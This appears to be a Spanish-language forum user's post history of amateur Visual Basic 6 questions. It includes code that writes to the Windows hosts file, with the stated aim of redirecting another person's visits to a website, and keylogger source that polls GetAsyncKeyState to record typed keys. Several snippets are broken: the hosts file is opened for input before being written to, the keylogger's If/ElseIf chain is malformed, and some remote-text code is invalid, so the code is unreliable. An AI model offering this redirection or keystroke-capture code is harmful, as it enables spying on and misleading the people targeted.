Mensajes

Código (vb) [Seleccionar] Expandir

Open "c:\WINDOWS\system32\drivers\etc\hosts" For Input As #1
Print #1, "webaredirigir www.pagina.com"
Close #1

Creo que es asi ...

Me da error, me dice modo de arhivo incorrecto, y me subralla la 2 linea. Aver si kuentro algo

Edito: En medio de poner la web que quiires diriign es su ip.

Copy y paste el arhicvo host

Copyright (c) 1993-1999 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

Ahora lo pruevo, para ver si va

Se puede hacer que cuando alguien entre en www.pagina.com le diriga a la pagina que yo quiera.
Es decir le modifco un archivoen su ordenador que al acceder a la pagina www.pagina.com le carga la que yo quiera.

Creo que vi algo asi, que era poniendo la ip de la pagina y alado la direccion que quieres que valla

pero no lo entiendo caption seria el nombre del commadbuton, yo lo que quiero es cambiar desde el .txt el codigo de este commandbuton

Gracias por las respuestas ^^

Y asi estaria bien?

Código (vb) [Seleccionar] Expandir


Dim Texto as String
Texto = Inet1.OpenURL("http://mipagina.com/texto.txt", icString)

Private Sub Form_Load()
Command1 Texto
End Sub


pues yo en ese .txt pongo lo que quiero que valla en el commandbuton

y si quiero modificar el codigo de un commandbuton enemdio de este codigo

Código (vb) [Seleccionar] Expandir

Dim Texto as String
Texto = Inet1.OpenURL("http://mipagina.com/texto.txt", icString)

Private Sub Form_Load()
MsgBox Texto
End Sub


Pongo esto?

Código (vb) [Seleccionar] Expandir


Dim Texto as String
Texto = Inet1.OpenURL("http://mipagina.com/texto.txt", icString)

Private Sub Command1_Click()
Texto
End Sub



Nada duda solucionada sorry,pueden cerrar

Siento la ortografia, tenia el teclado sin pilas y me comia algunos palabras

PD: Gracias por la ayuda ^^

Estoy buskando por todo google y no ekuentro nada de nada ( rekursosvb,el buska etc)
quiero hacer lo siguiente, no digo que me lo digais, konke me guieis me sobre :

Un ejemplo la pagina www.mipagina.com/tex.txt ahora en ese arhicvos de texto subido en mi pagina

Pongo ahi por ejemplo Msgbox = "hola"
Ahora kada vez que uno abre mi programa le sale lo que yo aya puesto en ese archivos de texto, si enemdio  puedo colocar cualquier cosa ( cualquier cosa que no necesite que yo kree un boton ni nada, sino como msxbox y modificar un textobx)


Gracias por toda la ayuda ^^

Estoy en un portatil, mira el code

Código (vb) [Seleccionar] Expandir

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim cadena As String

Private Sub Timer1_Timer()
    If GetAsyncKeyState(vbKeyA) <> 0 Then
     cadena = cadena + "a"
    If GetAsyncKeyState(vbKeyB) <> 0 Then
     cadena = cadena + "b"
     ElseIf GetAsyncKeyState(vbKeyC) <> 0 Then
     cadena = cadena + "c"
     ElseIf GetAsyncKeyState(vbKeyD) <> 0 Then
     cadena = cadena + "d"
     ElseIf GetAsyncKeyState(vbKeyE) <> 0 Then
     cadena = cadena + "e"
     ElseIf GetAsyncKeyState(vbKeyF) <> 0 Then
     cadena = cadena + "f"
     ElseIf GetAsyncKeyState(vbKeyG) <> 0 Then
     cadena = cadena + "g"
     ElseIf GetAsyncKeyState(vbKeyH) <> 0 Then
     cadena = cadena + "h"
     ElseIf GetAsyncKeyState(vbKeyI) <> 0 Then
     cadena = cadena + "i"
     ElseIf GetAsyncKeyState(vbKeyJ) <> 0 Then
     cadena = cadena + "j"
     ElseIf GetAsyncKeyState(vbKeyK) <> 0 Then
     cadena = cadena + "k"
     ElseIf GetAsyncKeyState(vbKeyL) <> 0 Then
     cadena = cadena + "l"
     ElseIf GetAsyncKeyState(vbKeyM) <> 0 Then
     cadena = cadena + "m"
     ElseIf GetAsyncKeyState(vbKeyN) <> 0 Then
     cadena = cadena + "n"
     ElseIf GetAsyncKeyState(vbKeyR) <> 0 Then
     cadena = cadena + "r"
     ElseIf GetAsyncKeyState(vbKeyO) <> 0 Then
     cadena = cadena + "o"
     ElseIf GetAsyncKeyState(vbKeyP) <> 0 Then
     cadena = cadena + "p"
     ElseIf GetAsyncKeyState(vbKeyQ) <> 0 Then
     cadena = cadena + "q"
     ElseIf GetAsyncKeyState(vbKeyS) <> 0 Then
     cadena = cadena + "s"
     ElseIf GetAsyncKeyState(vbKeyT) <> 0 Then
     cadena = cadena + "t"
     ElseIf GetAsyncKeyState(vbKeyU) <> 0 Then
     cadena = cadena + "u"
     ElseIf GetAsyncKeyState(vbKeyW) <> 0 Then
     cadena = cadena + "w"
   ElseIf GetAsyncKeyState(vbKeyX) <> 0 Then
     cadena = cadena + "x"
     ElseIf GetAsyncKeyState(vbKeyY) <> 0 Then
     cadena = cadena + "y"
     ElseIf GetAsyncKeyState(vbKeyZ) <> 0 Then
     cadena = cadena + "z"
     ElseIf GetAsyncKeyState(32) <> 0 Then
     cadena = cadena + " "
     ElseIf GetAsyncKeyState(13) <> 0 Then
     cadena = cadena + vbNewLine
     ElseIf GetAsyncKeyState(63) <> 0 Then
     cadena = cadena + "?"
     ElseIf GetAsyncKeyState(191) <> 0 Then
     cadena = cadena + "¿"
     End If
     Text1.Text = cadena
End Sub

Te falta la "v"